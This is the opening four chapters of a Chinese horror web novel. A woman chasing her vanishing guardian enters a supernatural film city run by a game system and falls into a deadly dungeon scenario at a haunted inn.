《影视城,但遍地恐怖副本?!》
1. 澹饮真的消失
你,曾遗忘过吗?
小到忘记随手放置的物品在哪里,大到自己前半生的整个经历。
对于某些患有记忆相关疾病的人来说,他们人生仿佛是跳跃式的:十年前,三个月前,前天……现在的我为什么会在这?
有时候记忆遗失并不痛苦,但却可能带来恐惧:我没有忘记任何事,也从来没有认识过你!可是,这张合照……竟然是真的。
那么,对于一个失去七岁以前记忆的人来说,再次眼睁睁看着自己的记忆被一笔又一笔地擦除,会怎么样?
*
冷色灯光,凌乱的客厅。魏迟观仰面倚靠在沙发上,电视机里传来斧头砸门的声音。
一下、一下、一下。
所有抽屉里的东西都被翻了出来,整个屋子像遭到抢劫一般。
她捂住头,感觉隐隐作痛,上午的回忆一遍遍在脑海里重复播放。
街头,人潮涌动,阴云密布的天气。
电话那头,澹饮真温和的声音半被淹没在背景声中:“迟观,我有件急事要办。也许要离开很久。”
“去哪?”魏迟观问。
良久沉默后,他避而不答:“记得按时吃饭、及时配药随身带着。”
几滴细雨飘落到她的脸上。
“我不能一起去吗?”
澹饮真说:“这件事很难办,我也不一定能做成。所以,不一定回来。”
“那就是永远不回来?”
“……”
“是什么事?”她按捺住性子,平静问,“为什么?”
“……第一次见你时,你看起来还很小,又脆弱,很需要人照顾。”澹饮真缓缓说道,“后来才发现你其实很多事情都心知肚明,不仅聪明还很淘气,总有自己的主意。不过幸好,十几年过去,你终于长大,也完全能自己照顾自己了。”
她沉默不语。
“日常要注意的事务我都整理成文档记在电脑里,”他说,“我还能做的就只剩这些了。有时候……”
“我不需要你为我做什么事。”魏迟观打断道,“如果你真的有非去不可的地方、非做不可的事情,我也绝不会拦着你。可是你……为什么什么原因都不肯说,为什么要这么突然地就说要走?”
她的呼吸开始加重,质问道:“是不是对你来说,我只能做一个什么都不应该知道的孩子,一个永远被保护的废物,一条随时可以被丢弃的宠物狗?为什么你总是这么居高临下,打着为我好的名义阻隔掉所有真相?你到底在害怕什么?!”
害怕吗?他望向人群,寂静伫立。也许吧。
”要是早知道……早知道你也会这样丢下我,“她赌气道,”不如当初就不要收养我!”
“……有时候,”澹饮真低声将之前的话说完,“迟观,有时候,我也讨厌自己的弱小。如果……”他将那几个字含了回去,“……也许你的生活本可以很幸福。”
“别哭。”他说,“风流云散,一别如雨。
“忘了我,开始新生活吧。”
一瞬之间,大雨倾盆。雨水击打在商铺顶棚,到处都是劈里啪啦的声响。人群一哄而散,四处躲避。
魏迟观留在雨里,回首时,目光穿透稀疏的路人,竟直接看到了澹饮真离开的背影:头发微长半束,撑着伞,黑色长风衣,好像一切都在随风飘荡。
他就在附近?!
她疾步追了上去。
但只在一晃神间,那个身影彻底消失。不多时,电话倏然挂断。
消失。
回家之后,魏迟观才发现这件事。
是的,他在消失。不仅仅是人的消失,还有他遗留痕迹的消失。他曾经做过的事情,要么了无痕迹,要么被其他人取代。
“喂,李叔,澹老师的合同……”
“什么澹老师?不是你和我签的吗?”
……
“你好,我想报警。我之前的监护人……”
“有是有这个人,但不叫这个名字,而且她已经去世了呀。你说的事情也不太可能发生,我们的收养手续,一般也不会通过单身男性收养年龄差这么小的姑娘……”
……
……
昨天傍晚,她好像和一个人一起出门购物。可是,那个人是谁?
那句“忘了我”,竟然真的在发生。
于是魏迟观开始尝试记下他的名字他的生平,翻箱倒柜地找出所有曾经属于他的物品。但那个名字却逐渐在她笔下开始生疏,那些物品的来源一件件开始改变。越回忆,越遗忘。
不如放弃。
其实,忘了又怎么样呢?反正他也已经走了。
哪怕……不想放弃,最后也不得不放弃,不是吗?她又能做什么呢?
还不如从现在开始,一个人好好生活。
想到这,魏迟观失落起身,开始收拾屋子。
重新整理书房时,她发现曾经只摆放蔬果花卉的角落高桌上面,竟然摆了一个香炉——这是张供桌,但之前并没有供奉过任何佛道神像。因为整张桌子都属于澹饮真,所以她把抽屉里的东西都倒在了附近的地上,但桌面上反而没注意。
香炉中还有三根线香燃烧后残留的根部。
澹饮真,曾点过香?
魏迟观翻找出一盒开封的线香,似乎昂贵,通体深紫掺金箔,用的梨花木盒,还用丝绸包了起来。里面正好少了三支。
“澹老师,为什么他们都要上香?这里用,墓前也用。”年幼的魏迟观吃力地跨过庙宇门槛,好奇地东张西望。
澹饮真小心牵住她的手,解释道:“燃香成烟,能连通阴阳。上达天庭,下至地府。”
“哪有那些东西。”她不太高兴地说。
“有哦。”澹饮真笑道,“而且,不同成分的烟效果也不一样。”
也许……那个时候,他并不是在编瞎话骗小孩?
沉吟片刻,魏迟观也取出三支香插入,将它点燃。她照着网上的视频换了不同的姿势跪拜祈祷,但直到香燃尽,也没有发生任何变化。
是我误会了?其实燃香毫无用处?魏迟观冥思苦想。如果没有发生他消失后的异象,那她肯定会觉得自己只是幻想过度走火入魔。但也许……只是还漏掉了什么东西?
是什么呢?
再一次复盘后,魏迟观打开了手机录音,将他们的最后一通电话播放。幸好它暂时还没消失。
“离开……记得……回来……新生活……”
她突然睁大眼睛,将音量调到最大,拉回进度条重新听了一遍。
在他们最后的互相沉默时间,除了一些微弱的闲杂人声之
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外,有一道声音相对清晰,只是好像有一些距离才导致音量很小:“检票通过,祝您旅途愉快,得偿所愿。”
去找他。
脑海里忽然响起一个声音。
也许通过这个办法,真能找到他!
魏迟观精神一振,胡乱将几袋中药和药方、几样生活用品、他供桌抽屉里翻出来的那些乱七八糟的线香古书符纸之类,甚至那个香炉都包了起来,一股脑塞进背包,冲出门去。
还是上午那个地方,那个澹饮真离开的方向。
魏迟观站在阴影中,仰起头,震撼望着阴云之下那堵高耸的城墙。岁月风蚀,一人高的城砖多得数不清数量,垒出了近乎顶天立地的气势,绝非古时人力所能及。
眼前的事物似乎和她的猜想印证上了,但又和她的想象完全不同:原本的一整片拆迁老楼都消失了,现在矗立着的,是一座……影视城?
城隍影视城——城楼门外一块大匾,就刻着这样龙飞凤舞阴刻着五个大字。
正面共有三道拱形门,只右侧一道小门开着。但即便是小门,从地面到顶点也有约四五米高。三座门两侧,则又雕有一副狂草门联:
“但得回头便是岸,何须到此误前非。”
看清之后,魏迟观不由自主退了半步。回头望去,对面两侧依然车水马龙、人声鼎沸。
阴影内外,一线之隔,却仿佛划成了两个世界。
她闭目凝神,听着城外喧嚣,城内隐隐钟声。身边游人如织,却寂静无声,如奔赴刑场般沉抑。
重新睁开眼,魏迟观向城门走去。门外没有售票处;门边没有人守候,只有一块提示今天开门时间为9:00~17:00的牌子;还有一只小小的电子眼挂在门前,随着一位位游客的进入,不断重复播报:“检票通过,祝您旅途愉快,得偿所愿。”
她没有票。
而周围也没有售票处。魏迟观的手上几乎要捏出汗。
那她怎么才能进去?
不……也许不一定没有。她看着进入的人群。他们手中都没有拿票,检测的根据是什么?
她尝试性地去问了周围几个人,询问他们票的来历和城内的情况。他们看起来就像普通景点的游客那样,除了携带大量行李和大多独自一人之外,没有什么不同。但奇怪的是,听到问题后,那些人要么目光警惕地远离,要么沉默摇头不语,要么连称不知道。
这里,到底是什么地方,隐藏的又是什么秘密?
没有更多的线索,多思无益。她收敛心神。
现在是16:43。手机上,网络断联,卫星信号消失。
如果等待到明天,她也许会彻底忘了澹饮真、忘了这个地方,也再也不会有“来到这里找他”这个念头。所以,要么错过,要么……
魏迟观攥紧背包带,大步跨入。
就在她踏入门内的一瞬间,原本顺滑播放的电子眼突然异常卡顿了半秒:“检票……”
她下意识抬手压低帽檐,尽量降低存在感。
“检票失败。”
魏迟观停住脚步,仿佛世界陷入了真空般的安静。
紧接着,播报声重新响起:“检票失败……身份验证成功。”
它的语调恢复如常,好像什么也没发生:“祝您旅途愉快,得偿所愿。”
2. 游戏开始
从城门外往里看,只觉得像普通的影视基地;而真的身处其中,却发现截然不同。
【叮——】
一踏入城中,魏迟观的脑中便响起一个声音。周围漆黑一片,仿佛陷入了某种内景,文字随之浮现滚动。
【系统:数据更新中……】
【系统:更新完成。】
【系统:玩家魏迟观,您好。欢迎进入城隍影视城。】
【系统:接下来,我将为您说明以下事项:
1、本系统仅服务于您个人,不可转移、交换、恶意屏蔽、欺骗甚至损坏。
2、不可恶意导致其他玩家死亡。非宵禁时间,不可对其他任何人使用特殊道具。
3、务必分辨不同城区的规则异同并遵守。
4、未经许可,不可离开影视城。
5、凡违反以上条例者,将遭受对应惩罚。
6、进入副本后,除通关成功之外,本系统无法提供退出功能。副本进行期间,本系统将持续在线。副本结束后,将会为您的表现进行评分。
7、生命只有一次,请务必珍惜。
8、本条例将会随情况变化进行变更,请及时查看并确认变化。】
生命只有一次?为什么要特意提出这一点?
魏迟观压下由太多未知制造出的恐慌与不安感,将上面的内容来回仔细读了几遍,尝试从其中解读出更多的信息。
首先,“游戏”、“系统”、“玩家”、“副本”,也许进入这座影视城,就仿佛进入了某个MMORPG之中,想要在其中生活下去,就必须参与他们的游戏,加入他们的玩法,而“副本”是其中相当重要的一种类型。
其次,影视城内又划分为多个城区,并且不同区域之间可以互通,每个区域都有不同的生存法则。但无论是前往哪个区域,只要像现在这样进入了这座影视城,就不能轻易退出。所谓的“许可”应该相当难以达成,否则澹饮真也不会认为他不一定能回去。
第三,他们的“游戏”危险程度不低,有死亡风险。第四,系统将会全程监督玩家的行为,有能力给出惩戒行为。第五,除她之外,还有其他很多玩家。与此同时,还有除玩家之外的,其他身份的人。
……
分析整合后,魏迟观意识到,当下摆在她眼前的目标主要是两个:明白这里的规则和玩法,获取基本生存物资,保证自己能在这座影视城里生活一段时间;认识更多玩家,尽快找到有关澹饮真的线索。
但这一切也有一个前提:系统的说明中,没有谎言。
调动意识,将“系统消息”的界面收纳入右上角后,魏迟观开始查看这个系统提供的其他页面。它的功能不算多,在“系统消息”的旁边,还保留着两个图标:“功德积分:0”,“罪恶值:0”,“页面设置”。第三项没什么信息,前两项倒自带小问号,点击能弹出说明。
功德积分:“该积分可通过通关游戏副本获取,评级越高则评分越高;可与影视城内其他人进行交易。”
罪恶值:“超过10将有不可预知风险。请谨慎操作。”
这样看来,如果想要在这里生活,就必须要尽可能多参与副本获得高评价和更多积分,而且要尽量不增加罪恶值。可是这上面也没说,罪恶值在什么情况下会增加。难道是通过系统的主观判断?
界面右下侧是“好友列表”,点开后能互发信息,还有专门的“系统反馈”与“团队消息”。但她现在什么人也没加,自然还用不上。
界面左侧,则是由三个可切换的标签页面组成:“个人属性”,“职业信息”,“副本统计”,“已探索区域”。魏迟观一一打开查看。
【个人属性*
姓名:魏迟观
性别:女性
生命值:10
体力值:6
攻击值:3
幸运值:7
隐匿值:5
直觉值:11
闪避率:5%
暴击率:5%
暴击值:+5
评价:一个并不引人注目的新人,也许有些微爆发潜力。】
【职业信息*
职业:无】
【副本信息*
称号:无
积分值:0
参与副本数量:0】
【已探索区域*
当前所在位置:接引桥
已探索区域数量:1
可查看地图区域:无】
其他还有一些介绍说明,魏迟观大概扫了几眼,没再多关注。了解了一定的情况之后,她将观看模式从“内景模式”调为了“实景模式”。
波纹荡漾,原本的黑暗如被洗涤一般快速褪去。
魏迟观脚下一实,才发现自己正站在细长蜿蜒的木制长桥上,桥身古旧,通向深不见景的灰白浓雾中。桥下是无边无际的暗河,正缓慢流淌着。铜色莲灯或从河中扶摇直上,或浮空在雾气中,摇曳着彤彤火光。
身侧,一位头戴白花、脸上戴着白底镶花钿面具的白裙仕女不知已经等了多久。透过系统界面,能看见她头上有一行标签:
【引路人:???】
她的面具嘴角上翘,弯着一个固定的弧度:“姑娘,请跟我来。如果觉得影响视线,可以退出系统。”
魏迟观调动意识从右上角退出,眼前的仕女却不见了,只剩一小截引路红线。这场景更为诡异,她还是重新打开了。
“去哪?”
引路人答:“万千世界。”
魏迟观回头看,不知何时,身后无路亦无门,只有近乎黑色的水隐隐流动。
她只好跟上去:“是指游戏副本?”
“是,也不是。”
魏迟观问:“如果我要找一个人,该去哪?”
“因缘际会。不在何处,而在何时。”引路人说。
魏迟观不解:“什么意思?”
但引路人没有再说话。
走在看似永无止境的桥上,前方的雾气忽然涌动起来。紧接着,桥面便如被点燃引线的鞭炮一般,从远至近开始不断炸裂!碎块抛入水中,发出层层叠叠的沉闷声音。
魏迟观倏然一惊,连退好几步,可前方的引路人依旧岿然不动。
下一刻,那些碎木板又从水中重新浮出,拼成了数条长桥,各自通往不同的方向。每一条桥的尽头,都是一座城门。
“离你越近的地方,对你来说越安全。”引路人轻声道。
魏迟观便望向离她最近的三座城,城门上的字迹在雾气中若隐若现:“灾”、“异闻”、“酆”。
她问道:“这三个区域,各自都有……”而后突然停住。
不知何时,引路人已经彻底消失了。
【系统:您已进入异闻城。请注意,最近七日的宵禁时间为当日18:00~次日4:00。】
异闻城,郊外。
现在是17:04。
或许因为是郊外,人迹罕至。现在只有她一个人走在苍茫无边的野外。阴雨迷蒙,泥路坎坷,到处都是湿漉漉的。打眼看去,只有正前方有十几户人家,都是低矮的木头房或泥房,少数盖着瓦片,大多还盖着茅草,组成了一个小小的村落。
魏迟观叩开了第一扇门:“您好,请问……”
门开出了一条缝。一个妇人露出一只眼,警惕问:“谁?”
“请问,有没有地方可以让我借住一晚?”魏迟观问,“我可以拿东西和你换,或者干活。”
妇人藏得很严实,无法看到她头上有没有字。她幽幽道:“两百积分。”
魏迟观为难道:“除了积分……”
门啪得一声就被关上。
剩下一些人家,要么是门上已经上了锁,要么怎么敲也敲不开。还有一家,里面的男人干脆高声喊:“没人!”
看来,只有积分才是硬通货。
17:24。
无奈之下,魏迟观只好继续向前走。
17:41。
【系统:距离宵禁时间不足二十分钟,请玩家注意遵守异闻城城规,及时进入房屋内部!】
魏迟观点掉了提示。
间风客栈。这座客栈有三层楼高,古色古香,孤立在原野中。
走到这里,已经隐约可以看见城镇。但剩下的时间不多,魏迟观还是放弃了前去的想法。
大堂处,夜宿的积分价格一应排列开:高级厢房两千,中级厢房一千四,低级厢房八百,普通房四百,通铺一百二,大堂铺位六十。
没有积分,连大堂都睡不了。魏迟观放弃了借宿的想法,只问那个正打算过来关门的店小二:“请问,附近还有没有别的可以挡雨的地方?”
店小二上下打量她:“十积分。”
魏迟观:“……”就是在现代社会,这么多爱钱的人,她也没见过问句话就要收费的!这对新
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人来说,简直是地狱级难度。
她刚想问能不能通融一下,用她没拆封的巧克力来换,就看见两个背着大包的人从客栈中走出来。
临近宵禁,却出门?
魏迟观目送他们离去后,悄悄跟随了上去。前面两人回头看了她一眼,似乎也注意到了她,低声交谈了两句,便不再管她。
17:54。
雨滴越来越大,风似乎也开始变得更冷、更狂躁,甚至好像有细碎的人声夹杂其中,让人忍不住想要震颤。但魏迟观的注意力却被另一件事情吸引了:前方有一座庙。
庙很小,且非常陈旧,外皮斑驳脱落。她一踏入庙中,就感觉周围的风雨仿佛被阻隔掉一般。庙中没有人收费,不过除了她跟随的那两个人之外,其余还有约莫十几二十个人。一部分人躺靠在角落,一部分人则在庙中逡巡,仿佛在寻找什么。
魏迟观也找了一个靠墙的地方坐下休息。走了将近一个小时,对她的体力来说是很大的消耗。
17:57。
在等待第一次宵禁的来临时,她隐约听到不远处传来讨论声,但能分辨清的却几乎只有几个词“副本”“消失”“记录”……也许在这个地方,能找到一些关于副本的线索?
魏迟观若有所思地打量着这个地方。
这座小庙的构造很独特。
中央是一座千手观音,原本的彩绘都已经褪色,上面满是灰尘和蜘蛛网;观音座下是一堆的罗汉像,但大多断裂,或头身分离或缺胳膊断腿。罗汉周围又竖满了各式各样的石碑,碑上楷隶篆等各异,连形制也似乎大不相同,完全不像是同一个年代的产物;甚至地上还横七竖八着好几块。要说它们唯一的共同点,就是都磨损严重,看起来饱经风霜。
观音座后方是被废弃的四大金刚像,更有各种蜡烛、案桌、绸布等杂物堆在一起。殿中房梁上雕刻观音救世的故事,四根顶梁柱上又是几幅对联。地面上石砖好几处都已经严重开裂缺损,露出沙土。
魏迟观不时观察那些正在逡巡的人,看他们都正在检查什么地方。
如果这里真有副本,会在什么地方?
不。她转换了思路。如果我是游戏设计者,我会将副本的触发点,设计在什么地方?
也许是站在某个地方说一句特定的台词或者咒语,也许是到达了某个特殊的时间点剧情就会自动展开,也许是和某个特定的角色一起进入某个地方,又或者是触碰到某样具有特殊意义的物品。
虽然这个地方,里面全部都很怪。但最奇怪的……果然还是那堆格格不入的石碑。
其他也有好几个人注意到了这个问题,所以一直在查看这些石碑,但似乎并没有什么收获。抱着怀疑,魏迟观也靠近前去观察。
石碑上基本没有什么有意义的内容,简单的有“此处有宝藏”、“武林秘籍”、“天下无敌”等,长篇的则是一些絮絮叨叨的“是相亦非相……”“清风明月伴……”之类的。非要说的话,每块碑看起来都有嫌疑,每一块都又嫌疑不足。而且好几块已经被之前的人擦去了上面的灰尘,并没有什么特别的反应。
但忽然之间,魏迟观的目光在一处凝住。那一块是近乎黑的深褐色,又被薄薄一层沙土掩盖,更有两块石碑干脆压倒在它的上方。那抹颜色……像……
她尝试将上方的两块石碑拉开,但过于沉重没有成功,只好将手从缝隙中伸进去。
周围几个人似乎也注意到了她的动作,不时有目光投来,更有人干脆在向她这里走来。
魏迟观停顿了一瞬。
万一真的是通过触碰关键物品就能进入副本,那她现在,真的要冒险进入吗?
进入庙中后,系统没有再提示,也许这已经符合了异闻城的宵禁规则。但……她能在这里待一晚上,还能一直没有积分地继续在这个庙里住下去吗?想要积分,就得进副本;想要知道副本的消息,就得拿积分来换……不是彻底进入死循环了吗!
不如说,如果现在真能进副本,反而是她最大的机会。
魏迟观没有再犹豫,将尘土从深褐色的面上拂去。等触及那块深色,一种独属于石头的阴冷感顺着她的皮肤爬入血管。
恍惚中,黑暗再次降临。
17:59。
【系统:灵器触发成功。】
【系统:地图加载中……】
【系统:欢迎玩家进入副本《佛碑血》。祝您通关成功,旅途愉快。】
3. 演员
旅店后院,客房。夜雨。
木制窗户上糊着纸,风从外层滑过,响起老鼠啮咬般的窸窣声。老式床靠墙摆放,布幔一侧垂落,一侧勾起。被褥和枕头都整齐安放。梳妆台上一面铜镜,已经有些粗糙,好像有一段时间没人磨过。地板是木制的,走上去没有明显的声音,下面应当没有什么空洞,而是实地。头顶是房梁、木顶和瓦片。
魏迟观仔仔细细地打量了一圈。一扇门,两扇窗。一扇窗挨着门,窗外可以看见前院、厨房和马厩;另一扇窗则在安在门对面的墙上,外面是山路和葱葱郁郁的植被。
她将自己的背包放在床尾,用布幔和被子挡住门和窗方向的视线,才走出门去。
路上有两个人,穿着古式的短衫,头顶挂着字:【旅店伙计赵甲】,【旅店伙计张吉】。
“请问……”还不等魏迟观继续说,那两个人便好似什么也看不到似的,就从她身边走了过去。
是故意忽视,还是她现在无法被看见?
思索一瞬,魏迟观大步追随上去,拍了拍张吉的肩膀。
“欸!”张吉立马不满地推了一把赵甲,“你突然拍我干什么!吓我一跳!”
“谁推你了?”赵甲反唇相讥,“你梦游呢吧!”
魏迟观从他们身后,绕到他们身前。他们一边拌嘴,一边熟视无睹地向前走,被结结实实地绊了个趔趄。
张吉睁大眼睛,吞了口唾沫,看向依旧空荡的前方:“难道……难道真有鬼?”
两人不敢再待,逃也似的跑走了。
看不见。也许是给玩家的定位就是透明人,又或者是没有达到某个条件。
魏迟观打开系统界面。信息依然停留在“欢迎进入”的最后一条上,没有更多的提示。
作为玩家,应该要在这个副本里做些什么,才能通关?
她一边寻找头绪,一边熟悉整个旅店的外围布局。周围几乎都是树木丛林,挨着的有几栋其他的房子,都要么塌陷要么被拆空了。按剩下的牌匾来看,似乎大多也都是给旅客吃饭住宿的地方。
甚至重点查看了厨房。里面有药罐。她驻足半晌,忍不住叹口气,才放弃将它偷偷带走。这么老式的东西,何况还没有原料,终究是用不上。
还好她随身还带了药……可惜数量不多。
但……当她将脚步停留在进入深林的小路门口时,忽然觉得心口一窒,好像……有什么东西在盯着自己。环顾四周,看起来却又一切正常。
那究竟是……
她站在原地,慢慢后退两步。系统的提示音再次响起。
【系统:恭喜您!获得称号“微弱的第六感”。已自动为您佩戴,直觉值+0.5。】
魏迟观:……
算了,聊胜于无吧。
沿着原路走了一段路后,她摘下湿透的帽子,走进长廊,再次路过了十二间并排的客房。不同的是,这次她的门前站了一个人:背影窈窕的女人,穿着现代紧身裙。她想敲门的手举起又再次放下、放下又举起。
通过系统界面,魏迟观看见了她头上的提示:【待戏龙套·无·乔净香】。
魏迟观在她身后低低咳嗽了几声,问:“找我有事吗?”
乔净香吓了一跳,转过身,结结巴巴:“你、你好……你,你也是新人吧?我、我也没别的事,就是刚进来,想认识一下。”
也是玩家。难道是只有NPC才看不到玩家,但玩家与玩家之间却不受影响吗?
不,也不一定。
眼前的乔净香看上去年纪不大,却拥有着一张奇特的脸:浓密的齐刘海遮住了额头和眉毛,眉骨、山根与鼻梁诡异地平地拔起,硕大的双眼下有夸张的卧蚕,苹果肌凹凸不平,下半张脸则彻底被口罩遮住。说话的时候,她的眼睛一眨也不眨,却似乎要迎风流泪——这是一张整容失败又经历过无数次修复的脸。
“你好。”魏迟观回应道,“隔壁房间是你在住吗?”
“是的。”乔净香不安地半将手挡在眼前,“你也是第一次参加副本吗?后面,后面会怎么样?”
“刚进来,不大清楚。”魏迟观模棱两可地说。
“但你看起来……好像不太害怕。”乔净香说,“听说这种副本,死亡率很高的……你……”她向上瞄着魏迟观头顶的标签,和她的差不多:【待戏龙套·无·魏迟观】。
不远处,脚步声与交谈声越来越近。
魏迟观向后望去,看见的是结伴而行的三人:【配角·古董店老板·殷至浊】,【跟组演员·段家护卫·殷至清】,【跟组演员·游方医师·扈神合】。两男一女,其中的两个男人长得很像。
乔净香看见那三人,立刻眼神一亮,小跑着到他们面前:“几位哥哥姐姐们……”
魏迟观也看向他们,不动声色地打量着。不同于她与乔净香穿的是常服,这三个人穿的都是戏服。
“又来了两个新人?”殷至浊一边撕扯着人中上的假胡子,一边偏头向魏迟观看去。两人打了个对视,他微微睁开了弯着的月牙眼,向魏迟观招手,“过来,我跟你们说说情况。”
如果魏迟观一进城,遇到的就是这种情况,那她必然会认为他们都是好人。但她现在已经进入了副本。
在一个可能“高死亡率”、被系统提示“生命只有一次”的副本中,人与人之间的关系,居然会比副本外更和谐吗?
也许,这种行为会与系统的评分相关?
魏迟观一边思索,一边走入他们中间。
交谈一番后,得知他们三人都已经参加过几个副本,也比两个新人早进来一段时间。
扈神合双手环胸靠在门边,等听完了大家的情况,就懒洋洋发言:“各位~待会儿还有事,我就先走了。”便头也不回地走进了自己的房间。
看着她离开的背影,乔净香讪讪道:“是……是我哪里做的不对,惹她生气了吗?”
“大概是真有事吧。我也不大熟悉她,好像性子就这样。”殷至浊笑眯眯地安慰完,就开始说当前的情况,“都是新人,我就不收你们积分了,就当交个朋友。现在呢,加上你们两个,我们一共有十二个人。其他没回来的都还正有着戏份。其中还有两个也是第一次参加副本。”
魏迟观一边听他的说明,一边总结。
一场副本,玩家们一般会约定俗成地将它分为“安全期”、“危险期”、“杀戮期”。
“你可以将一个副本理解为一部完整的戏。想要获得评分,就需要参演。比方你们现在仍然是待戏阶段,就要想办法把自己加到戏中来,成为正式的演员。”
通常情况下,副本会先给出一段自由活动的时间,而后会提供出演角色以及相应的服装和信息。扮演得越贴合角色和剧情,评分就越高。
“一部戏,至少会经历两个及以上的场景。其中,最后一个场景地,固定会触发‘杀戮期’,这是不可避免的。但是‘危险期’却不一定会存在。”殷至浊继续说明,“区别在于,是否触发了‘警报’。在安全期
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期间,一旦有人违反了副本的隐形规则,甚至有人死亡……那就相当于‘警报’被触发,‘危险期’就会降临。”
“安全期”期间,且若副本内的玩家数量没有达到上限,副本里就有可能加入新的玩家。而“危险期”一旦触发,玩家的死亡概率就会大幅提升。
“所以,要尽量小心,别触发警报。”
乔净香忍不住提问:“在这个副本里,怎么做才不会触发?又怎么知道是不是最后一个场景地?”
“这个嘛……”殷至浊将话含在嘴里绕了几圈,才说,“上面说的都是理论。实际上,从我参加过的副本来看,‘危险期’都会被触发。至于最后一个场地,也只有结束后复盘大家才能知道。”
夜色深蓝近墨,雨水团成珠,链子般地从屋檐一串串下落。
魏迟观微微向他们来时的方向望去,询问道:“那你认为,我们现在的这个,副本极限能承载几个玩家?”
“还不知道。”似乎感觉到好像有点不对劲,殷至浊的神情也凝重起来,“场景中,它提供的房间数量会随着玩家人数的增长而增加。所以一般情况下,很难判断上限。”
“你进来之前,副本外面是什么情况?”魏迟观又看向乔净香。
“我……我……我是跟着另外三个人进来的。”乔净香茫然又不安,“当时,我借到了一些积分,从他们那里买到了这个副本的信息。本来说好的,他们先进来探探路,然后我再进来。结果……结果就是现在还没碰见他们。”
她应该已经去过了异闻城中比较中心的部分,那里有买卖消息的地方或者团队,并且可以进行积分的借贷。魏迟观将信息剥离出来,再次询问:“你当时进来的时候,周围还有其他人吗?”
乔净香摇头:“没有,路上还是专门绕着人走的,就为了不被别人发现。”
“我进来的时候,周围大概有二十个人左右。”魏迟观清冷的声音平静叙述着,却仿佛在池塘中砸入了一枚惊天鱼雷,“至少有五个人注意到我触摸了副本入口。可是,在我进来之后,已经将近两个小时过去了,却没有新的人进来。”
殷至浊不待听完,就脸色一变:“不好。志清,我们得回去!”
殷至清已经面向另一边。闻言轻轻摇了摇头。
来不及了!
就在前院通往后院的长廊中,又有两个人突然出现。
他们神色慌张,急急忙忙要向房间走去。
“咦?”乔净香跟随看去,诧异道,“我就是跟着他们来的。还有一个人呢?”
【群众演员·旅商·徐幸】,【群众演员·旅商·方心量】。
殷至清将两人拦在门外。
“发生什么事了?”殷至浊问。
两人面面相觑,又看向乔净香。迟疑片刻,徐幸开口道:“我们有个同伴……叫陆弦。”他的眼里似乎有一些无法扫去的迷茫,“我们、我们商量着探索一下这里的地图,各自分工完后就去干了,约定的七点集合,再一起吃饭。但是……但是他一直没回来。”
方心量脸色惨白,捂住嘴,似乎有点犯恶心:“我们就俩先点了菜。想着可能是他那边能探索的地方太多了,所以决定一边吃一边等他。前面的菜我们都吃了几个,直到后来上了一碗汤。
“……那碗汤里,有几根人的手指,其中一根手指上还戴了个结婚戒指。
“我们都有印象……”方心量的一侧面部肌肉止不住地轻抽动起来,“那是……那是陆弦的戒指。”
4. 入戏
根据殷至浊的建议,两人又回去将汤搬了过来。
灯火下,几根手指在汤水中沉浮,似乎煮过一段时间,膨胀发软。
殷至清检查完后,将它们都收拢包起来:“确实是人的手指。气味没有异常,汤底清澈,肉带有一定的回弹性。”
他顿了一下。
“新鲜的。”
随着话音落下,气氛变得更不安。
“他……他死了吗?”乔净香缩在柱边,“会不会,只是少了一只手?”
没人回答。只剩雨滴击落在屋檐和地面上的声音清晰可闻,连绵不绝。
等所有人都忍不住开始浮想联翩时,殷至浊才竖起一根手指,开口道:“照你们的说法,陆弦是独自离开,去探索旅店周围,之后失联。”
第二根手指伸出。
“而他的手指,却出现在你们的饭桌上。”
他的目光从每个人的脸上滑过,缓缓道:“他去了哪里,做了什么,又触发了什么——又是谁割下他的手指、煮进汤里,再端上来的?以及,这两者的关联是什么?”
“不搞清楚这些问题,”他原本温和的声音如绷紧的丝线般轻而锋利,“恐怕我们会因为同样的原因,再死掉至少一个人。”
在副本里,没有无缘无故的死亡。手指的出现,一定是在提醒着什么。
乔净香张了张嘴,忍不住开口:“等一等……如果……如果他还活着,我们现在,是不是应该……”
“应该什么?”殷至浊打断了她。
飘动的火光穿透灯笼壁,映照在他的半张笑脸上,另一边则陷入了更深的阴影。
“你是新人,可能不大明白。”他的笑容仿佛是长在脸上的,眯起眼睛,琥珀色的虹膜彻底不见,“进了这里呀,能保住自己的命就已经很不容易了。”
接着,一连串的质问砸到了乔净香头上:“难道,你还想去救人?去哪救?怎么救?谁又有能力救?你吗?”
乔净香不知所措地低下头。
“吱呀——”
忽然,轻微的推门声从远处响起。殷至清猛然循声望去,但黑暗里……似乎什么也没有。
他对众人摇摇头。
魏迟观拍了拍乔净香的肩膀,半挡住了她,对殷至浊说道:“我有两个信息,也许对你们有用。”
“可以先说一说。”他的语气意味不明,“集思广益嘛。”
魏迟观简略叙述了之前在山林口感觉到危险的经历:“我怀疑,陆弦也去过那里。”
“你的直觉好像不错。”殷至浊再次睁开了眼,似乎才正眼看她。
“第二件事,则是这碗汤。”
“控制陆弦、切下他的手指、做成汤再端上来,”她平静叙述,“需要场地,还需要至少两个人合作。不久前我去过厨房,厨师正在做的菜、帮厨在处理的食材都很正常。
“如果他们不在厨房动手,我们也没听到打斗或者挣扎的动静,但上汤的速度却不慢……就证明,不在这里,但就在附近不太远的地方,他们还有一处据点。至于人员,客栈里的伙计有很大嫌疑。”
“你是怀疑,山林里有旅店的另一个据点,被陆弦发现了?”殷至浊盯着她。
魏迟观点头。
他陷入沉思,走了两步:“有一个误区,我要提醒你:不是人,而是鬼怪;不是哪几个伙计有问题,而是所有NPC。进入危险期后,任何一个NPC都有可能因为你的错误而突然发难!”
鬼怪?!
魏迟观心漏了一拍,不自主地往后瞥看了一眼。
什么也没有。
她蹙眉:“如果是这样,前面的分析就要推翻。但,鬼怪……”人力又怎么能战胜它们?
“它们不是无所不能的。”殷至浊解释道,“不同NPC的能力和强度不同,但都会随危险期的深入变得更强。这个阶段,它们的能力和人类相差不大。具体情况,则和副本……”
他倏然止住。
走廊尽头,一片褐色衣角一闪而逝。
“回房!”一旁的殷至清紧急警示出声。再推了一把乔净香和方心量,连带着徐幸一起推入隔壁房间。
另一边,魏迟观跟着殷至浊闪入他房内,殷至清紧随而至,反身将门关上。
哒、哒。
黑暗中,三人贴在门边,噤声听着。
那声音不缓不急。第一下像是人脚落地的声音,第二下则更像是木头。
哒、哒。
“一、二……十一、十二……”枯槁的声音低低念着,“又多了两位客人……”
【系统:评析中……身份获取成功!已升级为“群众演员”。您的身份是“善喜寺香客”。】
魏迟观屏息看去。这个时候?
第一扇门被叩响。沉闷的敲击声,让所有人的心不由得提了起来。
良久后,敲门声才停下。那外面的声音自言自语道:“不在。”
“不在。”
“不在。”
这次,只听到脚步声,却没听到敲门声。
